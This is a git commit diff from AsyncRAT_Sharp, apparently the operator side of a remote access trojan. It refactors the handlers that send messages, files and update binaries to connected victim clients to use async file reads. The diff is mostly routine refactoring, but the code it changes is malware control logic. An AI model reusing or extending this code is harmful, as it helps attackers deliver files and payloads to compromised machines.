Update
Using await fs.ReadAsync 'MsgPack'
This commit is contained in:
parent
cda9bb7d43
commit
5a3225eecf
@ -110,14 +110,14 @@ namespace AsyncRAT_Sharp
|
|||||||
{
|
{
|
||||||
if (listView1.SelectedItems.Count > 0)
|
if (listView1.SelectedItems.Count > 0)
|
||||||
{
|
{
|
||||||
string URL = Interaction.InputBox("Message", "Message", "Hello World!");
|
string Msgbox = Interaction.InputBox("Message", "Message", "Hello World!");
|
||||||
if (string.IsNullOrEmpty(URL))
|
if (string.IsNullOrEmpty(Msgbox))
|
||||||
return;
|
return;
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
MsgPack msgpack = new MsgPack();
|
MsgPack msgpack = new MsgPack();
|
||||||
msgpack.ForcePathObject("Packet").AsString = "sendMessage";
|
msgpack.ForcePathObject("Packet").AsString = "sendMessage";
|
||||||
msgpack.ForcePathObject("Message").AsString = URL;
|
msgpack.ForcePathObject("Message").AsString = Msgbox;
|
||||||
foreach (ListViewItem C in listView1.SelectedItems)
|
foreach (ListViewItem C in listView1.SelectedItems)
|
||||||
{
|
{
|
||||||
Task.Run(() =>
|
Task.Run(() =>
|
||||||
@ -130,7 +130,7 @@ namespace AsyncRAT_Sharp
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private void sENDFILEToolStripMenuItem_Click_1(object sender, EventArgs e)
|
private async void sENDFILEToolStripMenuItem_Click_1(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
if (listView1.SelectedItems.Count > 0)
|
if (listView1.SelectedItems.Count > 0)
|
||||||
{
|
{
|
||||||
@ -141,12 +141,12 @@ namespace AsyncRAT_Sharp
|
|||||||
{
|
{
|
||||||
MsgPack msgpack = new MsgPack();
|
MsgPack msgpack = new MsgPack();
|
||||||
msgpack.ForcePathObject("Packet").AsString = "sendFile";
|
msgpack.ForcePathObject("Packet").AsString = "sendFile";
|
||||||
msgpack.ForcePathObject("File").LoadFileAsBytes(O.FileName);
|
await msgpack.ForcePathObject("File").LoadFileAsBytes(O.FileName);
|
||||||
msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(O.FileName);
|
msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(O.FileName);
|
||||||
msgpack.ForcePathObject("Update").AsString = "false";
|
msgpack.ForcePathObject("Update").AsString = "false";
|
||||||
foreach (ListViewItem C in listView1.SelectedItems)
|
foreach (ListViewItem C in listView1.SelectedItems)
|
||||||
{
|
{
|
||||||
Task.Run(() =>
|
await Task.Run(() =>
|
||||||
{
|
{
|
||||||
Clients CL = (Clients)C.Tag;
|
Clients CL = (Clients)C.Tag;
|
||||||
CL.BeginSend(msgpack.Encode2Bytes());
|
CL.BeginSend(msgpack.Encode2Bytes());
|
||||||
@ -179,7 +179,7 @@ namespace AsyncRAT_Sharp
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private void uPDATEToolStripMenuItem_Click(object sender, EventArgs e)
|
private async void uPDATEToolStripMenuItem_Click(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
if (listView1.SelectedItems.Count > 0)
|
if (listView1.SelectedItems.Count > 0)
|
||||||
{
|
{
|
||||||
@ -190,12 +190,12 @@ namespace AsyncRAT_Sharp
|
|||||||
{
|
{
|
||||||
MsgPack msgpack = new MsgPack();
|
MsgPack msgpack = new MsgPack();
|
||||||
msgpack.ForcePathObject("Packet").AsString = "sendFile";
|
msgpack.ForcePathObject("Packet").AsString = "sendFile";
|
||||||
msgpack.ForcePathObject("File").LoadFileAsBytes(O.FileName);
|
await msgpack.ForcePathObject("File").LoadFileAsBytes(O.FileName);
|
||||||
msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(O.FileName);
|
msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(O.FileName);
|
||||||
msgpack.ForcePathObject("Update").AsString = "true";
|
msgpack.ForcePathObject("Update").AsString = "true";
|
||||||
foreach (ListViewItem C in listView1.SelectedItems)
|
foreach (ListViewItem C in listView1.SelectedItems)
|
||||||
{
|
{
|
||||||
Task.Run(() =>
|
await Task.Run(() =>
|
||||||
{
|
{
|
||||||
Clients CL = (Clients)C.Tag;
|
Clients CL = (Clients)C.Tag;
|
||||||
CL.BeginSend(msgpack.Encode2Bytes());
|
CL.BeginSend(msgpack.Encode2Bytes());
|
||||||
|
@ -369,14 +369,14 @@ namespace AsyncRAT_Sharp.MessagePack
|
|||||||
tmp.SetAsInteger(value);
|
tmp.SetAsInteger(value);
|
||||||
}
|
}
|
||||||
|
|
||||||
public bool LoadFileAsBytes(string fileName)
|
public async Task<bool> LoadFileAsBytes(string fileName)
|
||||||
{
|
{
|
||||||
if (File.Exists(fileName))
|
if (File.Exists(fileName))
|
||||||
{
|
{
|
||||||
byte[] value = null;
|
byte[] value = null;
|
||||||
FileStream fs = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read);
|
FileStream fs = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read);
|
||||||
value = new byte[fs.Length];
|
value = new byte[fs.Length];
|
||||||
fs.Read(value, 0, (int)fs.Length);
|
await fs.ReadAsync(value, 0, (int)fs.Length);
|
||||||
fs.Close();
|
fs.Close();
|
||||||
SetAsBytes(value);
|
SetAsBytes(value);
|
||||||
return true;
|
return true;
|
||||||
|
@ -18,10 +18,10 @@ namespace AsyncRAT_Sharp.Sockets
|
|||||||
IPEndPoint IpEndPoint = new IPEndPoint(IPAddress.Any, Convert.ToInt32(port));
|
IPEndPoint IpEndPoint = new IPEndPoint(IPAddress.Any, Convert.ToInt32(port));
|
||||||
listener = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
|
listener = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
|
||||||
{
|
{
|
||||||
SendBufferSize = 50 * 1024,
|
SendBufferSize = 50 * 1024,
|
||||||
ReceiveBufferSize = 50 * 1024,
|
ReceiveBufferSize = 50 * 1024,
|
||||||
ReceiveTimeout = -1,
|
ReceiveTimeout = -1,
|
||||||
SendTimeout = -1,
|
SendTimeout = -1,
|
||||||
};
|
};
|
||||||
listener.Bind(IpEndPoint);
|
listener.Bind(IpEndPoint);
|
||||||
listener.Listen(20);
|
listener.Listen(20);
|
||||||
|
Loading…
x
Reference in New Issue
Block a user